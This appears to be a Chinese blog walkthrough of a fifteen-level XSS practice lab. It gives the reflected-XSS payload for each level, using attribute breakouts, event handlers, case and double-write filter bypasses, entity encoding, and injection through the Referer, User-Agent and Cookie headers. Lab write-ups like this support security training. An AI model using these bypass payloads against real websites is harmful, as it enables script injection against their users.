当前位置:网站首页>DAY18:Xss 靶场通关手册
DAY18:Xss 靶场通关手册
2022-07-31 06:12:00 【EdmunDJK】
DAY18:Xss 靶场通关手册
常见的xss
注入:
<script>alert(1)</script>
< img src=x onerror=alert(1)>
<svg onload=alent(1)>
< a href=javascript:alert(1)>
<input type=image src=x οnerrοr=alert(1)>
1、欢迎来到level1
这里直接在 url 处注入恶意代码
<script>alert(1)</script>
成功
2、欢迎来到level2
使用 f12 来看这个框传到什么位置输入了 test 发现 value 改为 test 这里我们进行闭合标签构建 payload
"><script>alert(1)</script> #前面使用<"">
3、欢迎来到level3
这里看起来没有什么问题,那么我们进行上一关一样的 payload,发现下面已经闭合还是没有显示过关,这里我们换成单引号
这里是为什么呢?
value 传值是单引号,在浏览器中传值显示是双引号,所以尽量使用单引号
发现出现了 >
<
字样,那么这里对标签进行了转义处理,使得
尝试'onfocus=javascript:alert(123)>'
失败
这里使用onclick='alert(123)
接着点击搜索框成功
这里解释下为什么最后使用了 onclick=
,前面说过浏览器解析会将单引号转换为双引号,我们需要将其onclick=
后面的字符串成功闭合可以一个一个试出来,onclick
用法为
当点击按钮时执行一段 JavaScript:
<button onclick="copyText()">Copy Text</button>
<element onclick="script">
onclick 属性由元素上的鼠标点击触发。
onclick 属性不适用以下元素:
<base>、<bdo>、<br>、<head>、<html>、<iframe>、<meta>、<param>、<script>、<style> 或 <title>
所以本关在考虑闭合处需谨慎观察,可以从源代码处看出,最终构建 payload 为:
'onclick='alert(111)
4、欢迎来到level4
根据前面几关经验,这里尝试注入,使用单引号,发现 value
处script
标签被过滤掉了,尝试使用onclick=
这里可以看到onclick
被双引号包含,查看源代码:
<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和'οnclick="alert(111)相关的结果.</h2><center>
初步构建一下:
"onclick="alert(111)
成功。
5、欢迎来到level5
尝试onclick=
发现变为o_nclick
,尝试<script>
变为<sc_ript>
,那么先进行闭合输出看是什么情况。
">javascript:alert(123)
考虑使用超链接来达成xss
,自己构造标签,构建 payload 如下,注意闭合
"><a href='javascript:alert(1)'>aa</a>
成功
6、欢迎来到level6
老样子,先使用上关的payload
发现被变为"><a h_erf='javascript:alert(1)'>aa</a>
,因为JavaScript
大小写敏感,重新构建payload
:
"><a hReF='javascript:alert(1)'>aa</a>
成功
7、欢迎来到level7
使用第5关payload
,"><a href='javascript:alert(1)'>aa</a>
发现被过滤为下图,script
href
过滤,这里考虑双写
重新构建payload
:
"><a hhrefref='javascscriptript:alert(1)'>'aa'</a>
成功
8、欢迎来到level8
这里添加了友情链接,点进去 404 ,那么考虑将链接内容加入alert
,使用编码绕过,构建payload
如下:
编码前:
javascript:alert(1)
编码后:
javascript:alert(1)
成功
9、欢迎来到level9
提交的参数值插入到了标签的value属性值中,但是在<a>
标签的href属性中却并没有出现该参数值,而是显示的 "您的链接不合法?有没有!"
这样的字符串,只有包含正常的url地址才能添加到href属性值中,构造一个有正常url地址的恶意代码
语句显示在href
中,但是javascript
字符中插入了_
,我们尝试使用编码绕过,构建payload
:
javascript:alert(1)//http://www.baidu.com
http://www.baidu.com
之间需要插入//
,否则不会成功执行弹窗(注意:网址不要进行编码)
10、欢迎来到level10
这里进去什么也没有,似乎无从下手,看看源代码
我们看到有3个input
表单,意味着是三个参数。看看哪一个标签能够被突破,而在JacaScript
中,改变表单的标签状态可以先试试,构建突破语句:
&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"
看到有突破的地方一个一个进行测试,最终发现是&t_sort=" type="text"
构建payload
:
t_sort=" type="text" onclick="alert(1)
成功
11、欢迎来到level11
继续接着上题思路,输入探测语句:
&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"
页面正常,在源码中可以看到
依旧是t_sort
这个参数,构建payload
:
t_sort=" type="text" onclick="alert(1)
无效,换换别的试试,啥都没有,原来t_sort
仍然是接受参数值的,但是里面的双引号被编码了
那么试试进行抓包(此时抓包是要对如下url
进行抓取),看refer
,可以看到在原始的请求数据包中并没有referer这个请求头,那么我们可以自己给它加上,那么就可以实现referer
内容的输入,防止编码
http://c5bd907c.lxctf.net/level11.php?keyword=good%20job!&t_link=%22%20type=%22text%22&t_history=%22%20type=%22text%22&t_sort=%22%20type=%22text%22
构建payload
如下:
referer:"type="text" onclick="alert(1)
成功
12、欢迎来到level12
老样子,按上题情况抓包看数据你页面没有任何回显,查看页面源代码。有四个老小子
&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"
轻易能够发现t_ua
是我们 bp 里面的User-Agent
,那么可以从这方面入手,将alert
写入 bp 所抓取的头中
构建payload
:
User-Agent: "type="text" onclick="alert(1)
发包,点击,成功
13、欢迎来到level13
跟上关差不多,还是先探测,下来抓包
&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"
通过抓包查看,这次是在Cookie
中包含,修改,构建payload
:
Cookie: user="type="text" onclick="javascript:alert(1)
成功
14、欢迎来到level14
本关因iframe
调用的文件地址失效,无法进行测试。
要考的应该是通过修改iframe
调用的文件来实现xss注入
15、欢迎来到level15
看网页源码,发现有一个看不懂的函数ng-include
ng-include
是angular js
中的东西,其作用相当于php
的include
函数。这里就是将文件给包含进来。
这里将同一域名下的一关作为包含进来,接着引入一个损坏图片来进行onerror
的使用,注意第一关的传参名字为name
最后进行payload
构建:
这里说一下为什么这个玩意只用第1关的管用,第一关没有做任何过滤,不需要考虑闭合,所以可以直接传入一个损坏图片,达成效果。
src='level1.php/?name=<img src=x onerror=alert(1)>
成功
边栏推荐
- 【微服务】(十六)—— 分布式事务Seata
- 【 TA - frost Wolf _may - "one hundred plan" 】 art 2.3 hard surface
- MySQL系列一:账号管理与引擎
- SCI写作指南
- 关于求反三角函数的三角函数值
- 【Go报错】go go.mod file not found in current directory or any parent directory 错误解决
- Chapter 16: Constructing the Magic Square for Prime Numbers of Order n(5,7)
- 第十六章:构建n(5,7)阶素数幻方
- 2022.07.24_每日一题
- Leetcode952. 按公因数计算最大组件大小
猜你喜欢
随机推荐
2022.07.18_每日一题
LeetCode brush # 376 # Medium - swing sequence
第十七章:回溯探求指定入口的马步遍历,贪心无回溯探求马步遍历,递归探求nxm棋盘带障碍马步遍历
【Star项目】小帽飞机大战(八)
Run the NPM will pop up to ask "how are you going to open this file?"
2022.07.26_每日一题
文件 - 03 下载文件:根据文件id获取下载链接
【解决】npm ERR A complete log of this run can be found in npm ERR
高并发与多线程之间的难点对比(容易混淆)
DirectExchange交换机简单入门demo
SQL Server Datetime2数据类型
芯塔电子斩获第十一届中国双创大赛芜湖赛区桂冠
【Star项目】小帽飞机大战(七)
SCI写作指南
Gradle剔除依赖演示
第十六章:构建n(5,7)阶素数幻方
Postgresql source code learning (33) - transaction log ⑨ - see the overall process of log writing from the insert record
搭建zabbix监控及邮件报警(超详细教学)
Zero-Shot Learning & Domain-aware Visual Bias Eliminating for Generalized Zero-Shot Learning
codec2 BlockPool:不可读库